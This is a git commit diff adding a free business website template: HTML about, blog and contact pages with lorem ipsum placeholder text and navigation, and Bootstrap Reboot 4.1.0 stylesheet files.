first commit
This commit is contained in:
@@ -0,0 +1,152 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>About</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- fonts -->
|
||||
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Righteous&display=swap" rel="stylesheet">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css"
|
||||
media="screen">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- header section start -->
|
||||
<div class="header_section">
|
||||
<div class="header_main">
|
||||
<div class="mobile_menu">
|
||||
<nav class="navbar navbar-expand-lg navbar-light bg-light">
|
||||
<div class="logo_mobile"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
|
||||
aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarNav">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="index.html">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html">About</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="services.html">Services</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="blog.html">Blog</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="contact.html">Contact</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="container-fluid">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li class="active"><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="services.html">Services</a></li>
|
||||
<li><a href="blog.html">Blog</a></li>
|
||||
<li><a href="contact.html">Contact us</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- about section start -->
|
||||
<div class="about_section layout_padding">
|
||||
<div class="container-fluid">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="about_taital_main">
|
||||
<h1 class="about_taital">About Us</h1>
|
||||
<p class="about_text">There are many variations of passages of Lorem Ipsum available, but the majority
|
||||
have suffered alteration in some form, by injected humour, or randomised words which don't look
|
||||
even slightly believable. If you are going to use a passage of Lorem Ipsum, you need to be sure
|
||||
there isn't anything embarrassing hidden in the middle of text. All </p>
|
||||
<div class="readmore_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-6 padding_right_0">
|
||||
<div><img src="images/about-img.png" class="about_img"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- about section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="input_btn_main">
|
||||
<input type="text" class="mail_text" placeholder="Enter your email" name="Enter your email">
|
||||
<div class="subscribe_bt"><a href="#">Subscribe</a></div>
|
||||
</div>
|
||||
<div class="location_main">
|
||||
<div class="call_text"><img src="images/call-icon.png"></div>
|
||||
<div class="call_text"><a href="#">Call +01 1234567890</a></div>
|
||||
<div class="call_text"><img src="images/mail-icon.png"></div>
|
||||
<div class="call_text"><a href="#">demo@gmail.com</a></div>
|
||||
</div>
|
||||
<div class="social_icon">
|
||||
<ul>
|
||||
<li><a href="#"><img src="images/fb-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/twitter-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/linkedin-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/instagram-icon.png"></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free html
|
||||
Templates</a> Distributed by <a href="https://themewagon.com">ThemeWagon</a></p>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,143 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>Blog</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- fonts -->
|
||||
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Righteous&display=swap" rel="stylesheet">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css"
|
||||
media="screen">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- header section start -->
|
||||
<div class="header_section">
|
||||
<div class="header_main">
|
||||
<div class="mobile_menu">
|
||||
<nav class="navbar navbar-expand-lg navbar-light bg-light">
|
||||
<div class="logo_mobile"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
|
||||
aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarNav">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="index.html">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html">About</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="services.html">Services</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="blog.html">Blog</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="contact.html">Contact</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="container-fluid">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li class="active"><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="services.html">Services</a></li>
|
||||
<li><a href="blog.html">Blog</a></li>
|
||||
<li><a href="contact.html">Contact us</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- blog section start -->
|
||||
<div class="blog_section layout_padding margin_top_90">
|
||||
<div class="container">
|
||||
<h1 class="blog_taital">See Our Video</h1>
|
||||
<p class="blog_text">many variations of passages of Lorem Ipsum available, but the majority have suffered
|
||||
alteration in some form, by injected humour, or randomised words which</p>
|
||||
<div class="play_icon_main">
|
||||
<div class="play_icon"><a href="#"><img src="images/play-icon.png"></a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- blog section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="input_btn_main">
|
||||
<input type="text" class="mail_text" placeholder="Enter your email" name="Enter your email">
|
||||
<div class="subscribe_bt"><a href="#">Subscribe</a></div>
|
||||
</div>
|
||||
<div class="location_main">
|
||||
<div class="call_text"><img src="images/call-icon.png"></div>
|
||||
<div class="call_text"><a href="#">Call +01 1234567890</a></div>
|
||||
<div class="call_text"><img src="images/mail-icon.png"></div>
|
||||
<div class="call_text"><a href="#">demo@gmail.com</a></div>
|
||||
</div>
|
||||
<div class="social_icon">
|
||||
<ul>
|
||||
<li><a href="#"><img src="images/fb-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/twitter-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/linkedin-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/instagram-icon.png"></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free html
|
||||
Templates</a> Distributed by <a href="https://themewagon.com">ThemeWagon</a></p>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,153 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>About</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- fonts -->
|
||||
<link href="https://fonts.googleapis.com/css?family=Poppins:400,700|Righteous&display=swap" rel="stylesheet">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css"
|
||||
media="screen">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- header section start -->
|
||||
<div class="header_section">
|
||||
<div class="header_main">
|
||||
<div class="mobile_menu">
|
||||
<nav class="navbar navbar-expand-lg navbar-light bg-light">
|
||||
<div class="logo_mobile"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
|
||||
aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
</button>
|
||||
<div class="collapse navbar-collapse" id="navbarNav">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="index.html">Home</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html">About</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="services.html">Services</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="blog.html">Blog</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link " href="contact.html">Contact</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="container-fluid">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li class="active"><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="services.html">Services</a></li>
|
||||
<li><a href="blog.html">Blog</a></li>
|
||||
<li><a href="contact.html">Contact us</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- contact section start -->
|
||||
<div class="contact_section layout_padding">
|
||||
<div class="container">
|
||||
<h1 class="contact_taital">Request A Call Back</h1>
|
||||
<div class="email_text">
|
||||
<div class="form-group">
|
||||
<input type="text" class="email-bt" placeholder="Name" name="Email">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="text" class="email-bt" placeholder="Phone Numbar" name="Email">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="text" class="email-bt" placeholder="Email" name="Email">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<textarea class="massage-bt" placeholder="Massage" rows="5" id="comment" name="Massage"></textarea>
|
||||
</div>
|
||||
<div class="send_btn"><a href="#">SEND</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- contact section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="input_btn_main">
|
||||
<input type="text" class="mail_text" placeholder="Enter your email" name="Enter your email">
|
||||
<div class="subscribe_bt"><a href="#">Subscribe</a></div>
|
||||
</div>
|
||||
<div class="location_main">
|
||||
<div class="call_text"><img src="images/call-icon.png"></div>
|
||||
<div class="call_text"><a href="#">Call +01 1234567890</a></div>
|
||||
<div class="call_text"><img src="images/mail-icon.png"></div>
|
||||
<div class="call_text"><a href="#">demo@gmail.com</a></div>
|
||||
</div>
|
||||
<div class="social_icon">
|
||||
<ul>
|
||||
<li><a href="#"><img src="images/fb-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/twitter-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/linkedin-icon.png"></a></li>
|
||||
<li><a href="#"><img src="images/instagram-icon.png"></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<p class="copyright_text">2020 All Rights Reserved. Design by <a href="https://html.design">Free html
|
||||
Templates</a> Distributed by <a href="https://themewagon.com">ThemeWagon</a></p>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
BIN
Binary file not shown.
File diff suppressed because one or more lines are too long
+1912
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,330 @@
|
||||
/*!
|
||||
* Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2018 The Bootstrap Authors
|
||||
* Copyright 2011-2018 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
* Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
|
||||
*/
|
||||
*,
|
||||
*::before,
|
||||
*::after {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html {
|
||||
font-family: sans-serif;
|
||||
line-height: 1.15;
|
||||
-webkit-text-size-adjust: 100%;
|
||||
-ms-text-size-adjust: 100%;
|
||||
-ms-overflow-style: scrollbar;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
}
|
||||
|
||||
@-ms-viewport {
|
||||
width: device-width;
|
||||
}
|
||||
|
||||
article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {
|
||||
display: block;
|
||||
}
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
|
||||
font-size: 1rem;
|
||||
font-weight: 400;
|
||||
line-height: 1.5;
|
||||
color: #212529;
|
||||
text-align: left;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
[tabindex="-1"]:focus {
|
||||
outline: 0 !important;
|
||||
}
|
||||
|
||||
hr {
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
margin-top: 0;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
p {
|
||||
margin-top: 0;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
abbr[title],
|
||||
abbr[data-original-title] {
|
||||
text-decoration: underline;
|
||||
-webkit-text-decoration: underline dotted;
|
||||
text-decoration: underline dotted;
|
||||
cursor: help;
|
||||
border-bottom: 0;
|
||||
}
|
||||
|
||||
address {
|
||||
margin-bottom: 1rem;
|
||||
font-style: normal;
|
||||
line-height: inherit;
|
||||
}
|
||||
|
||||
ol,
|
||||
ul,
|
||||
dl {
|
||||
margin-top: 0;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
ol ol,
|
||||
ul ul,
|
||||
ol ul,
|
||||
ul ol {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
dt {
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
dd {
|
||||
margin-bottom: .5rem;
|
||||
margin-left: 0;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
margin: 0 0 1rem;
|
||||
}
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bolder;
|
||||
}
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
sub,
|
||||
sup {
|
||||
position: relative;
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -.25em;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -.5em;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #007bff;
|
||||
text-decoration: none;
|
||||
background-color: transparent;
|
||||
-webkit-text-decoration-skip: objects;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #0056b3;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
a:not([href]):not([tabindex]) {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:not([href]):not([tabindex]):focus {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
pre,
|
||||
code,
|
||||
kbd,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
pre {
|
||||
margin-top: 0;
|
||||
margin-bottom: 1rem;
|
||||
overflow: auto;
|
||||
-ms-overflow-style: scrollbar;
|
||||
}
|
||||
|
||||
figure {
|
||||
margin: 0 0 1rem;
|
||||
}
|
||||
|
||||
img {
|
||||
vertical-align: middle;
|
||||
border-style: none;
|
||||
}
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
caption {
|
||||
padding-top: 0.75rem;
|
||||
padding-bottom: 0.75rem;
|
||||
color: #6c757d;
|
||||
text-align: left;
|
||||
caption-side: bottom;
|
||||
}
|
||||
|
||||
th {
|
||||
text-align: inherit;
|
||||
}
|
||||
|
||||
label {
|
||||
display: inline-block;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
button {
|
||||
border-radius: 0;
|
||||
}
|
||||
|
||||
button:focus {
|
||||
outline: 1px dotted;
|
||||
outline: 5px auto -webkit-focus-ring-color;
|
||||
}
|
||||
|
||||
input,
|
||||
button,
|
||||
select,
|
||||
optgroup,
|
||||
textarea {
|
||||
margin: 0;
|
||||
font-family: inherit;
|
||||
font-size: inherit;
|
||||
line-height: inherit;
|
||||
}
|
||||
|
||||
button,
|
||||
input {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
button,
|
||||
html [type="button"],
|
||||
[type="reset"],
|
||||
[type="submit"] {
|
||||
-webkit-appearance: button;
|
||||
}
|
||||
|
||||
button::-moz-focus-inner,
|
||||
[type="button"]::-moz-focus-inner,
|
||||
[type="reset"]::-moz-focus-inner,
|
||||
[type="submit"]::-moz-focus-inner {
|
||||
padding: 0;
|
||||
border-style: none;
|
||||
}
|
||||
|
||||
input[type="radio"],
|
||||
input[type="checkbox"] {
|
||||
box-sizing: border-box;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
input[type="date"],
|
||||
input[type="time"],
|
||||
input[type="datetime-local"],
|
||||
input[type="month"] {
|
||||
-webkit-appearance: listbox;
|
||||
}
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
resize: vertical;
|
||||
}
|
||||
|
||||
fieldset {
|
||||
min-width: 0;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
legend {
|
||||
display: block;
|
||||
width: 100%;
|
||||
max-width: 100%;
|
||||
padding: 0;
|
||||
margin-bottom: .5rem;
|
||||
font-size: 1.5rem;
|
||||
line-height: inherit;
|
||||
color: inherit;
|
||||
white-space: normal;
|
||||
}
|
||||
|
||||
progress {
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
[type="number"]::-webkit-inner-spin-button,
|
||||
[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
[type="search"] {
|
||||
outline-offset: -2px;
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
[type="search"]::-webkit-search-cancel-button,
|
||||
[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
::-webkit-file-upload-button {
|
||||
font: inherit;
|
||||
-webkit-appearance: button;
|
||||
}
|
||||
|
||||
output {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
summary {
|
||||
display: list-item;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
[hidden] {
|
||||
display: none !important;
|
||||
}
|
||||
/*# sourceMappingURL=bootstrap-reboot.css.map */
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,8 @@
|
||||
/*!
|
||||
* Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2018 The Bootstrap Authors
|
||||
* Copyright 2011-2018 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
* Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
|
||||
*/*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html 